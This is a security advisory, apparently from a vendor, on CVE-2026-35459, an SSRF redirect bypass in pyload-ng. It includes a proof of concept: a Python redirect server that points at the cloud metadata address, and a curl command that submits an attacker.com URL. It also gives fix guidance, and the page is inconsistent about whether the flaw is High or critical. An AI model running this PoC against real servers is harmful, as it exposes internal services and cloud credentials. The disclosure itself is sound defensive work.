CVE-2026-35459

The fix for CVE-2026-33992 (GHSA-m74m-f7cr-432x) added IP validation to BaseDownloader.download() that checks the hostname of the initial download URL. However, pycurl is configured with FOLLOWLOCATION=1 and MAXREDIRS=10, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter.

An authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.

Root Cause

The SSRF check at src/pyload/plugins/base/downloader.py:335-341 validates only the initial URL:

dl_hostname = urllib.parse.urlparse(dl_url).hostname
if is_ip_address(dl_hostname) and not is_global_address(dl_hostname):
    self.fail(...)
else:
    for ip in host_to_ip(dl_hostname):
        if not is_global_address(ip):
            self.fail(...)

After the check passes, _download() is called. pycurl is configured at src/pyload/core/network/http/http_request.py:114-115 to follow redirects:

self.c.setopt(pycurl.FOLLOWLOCATION, 1)
self.c.setopt(pycurl.MAXREDIRS, 10)

No CURLOPT_REDIR_PROTOCOLS restriction is set anywhere in HTTPRequest. Redirect targets bypass the SSRF filter entirely.

PoC

Redirect server (attacker-controlled):

from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header("Location", "http://169.254.169.254/metadata/v1.json")
        self.end_headers()

HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever()

Submit to pyload (requires ADD permission):

curl -b cookies.txt -X POST 'http://target:8000/json/add_package' \
  -d 'add_name=ssrf-test&add_dest=1&add_links=http://attacker.com:8888/redirect'

The SSRF check resolves attacker.com to a public IP and passes. pycurl follows the 302 redirect to http://169.254.169.254/metadata/v1.json without validation. Cloud metadata is downloaded and saved to the storage folder.

Resources

• CVE-2026-33992 / GHSA-m74m-f7cr-432x: Original SSRF (Critical, unauthenticated). This bypass requires ADD permission.

An authenticated user with ADD permission can access:

• Cloud metadata endpoints (169.254.169.254) for AWS, GCP, DigitalOcean, Azure, including IAM credentials and instance identity
• Internal network services (10.x, 172.16.x, 192.168.x)
• Localhost services (127.0.0.1)

This is the same impact as CVE-2026-33992 (rated Critical), achieved through a single redirect hop. The severity is reduced from Critical to High because authentication with ADD permission is now required.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

Kodem intelligence

Disable automatic redirect following and validate each redirect target:

# In HTTPRequest.__init__():
self.c.setopt(pycurl.FOLLOWLOCATION, 0)

Then implement manual redirect following in the download logic with SSRF validation at each hop. Alternatively, restrict redirect protocols:

self.c.setopt(pycurl.REDIR_PROTOCOLS, pycurl.PROTO_HTTP | pycurl.PROTO_HTTPS)

And add a pycurl callback to validate redirect destination IPs before following.

1. What is CVE-2026-35459? CVE-2026-35459 is a critical-severity server-side request forgery (SSRF) vulnerability in pyload-ng (pip), affecting versions <= 0.5.0b3.dev96. No fixed version is listed yet. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. Which versions of pyload-ng are affected by CVE-2026-35459? pyload-ng (pip) versions <= 0.5.0b3.dev96 is affected.
3. Is there a fix for CVE-2026-35459? No fixed version is listed for CVE-2026-35459 yet. Monitor the advisory for updates and apply mitigations in the interim.
4. Is CVE-2026-35459 exploitable, and should I be worried? Whether CVE-2026-35459 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-35459 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-35459? No fixed version is listed yet. In the interim: Validate and restrict destination URLs against an allowlist. Block requests to private IP ranges and cloud metadata endpoints.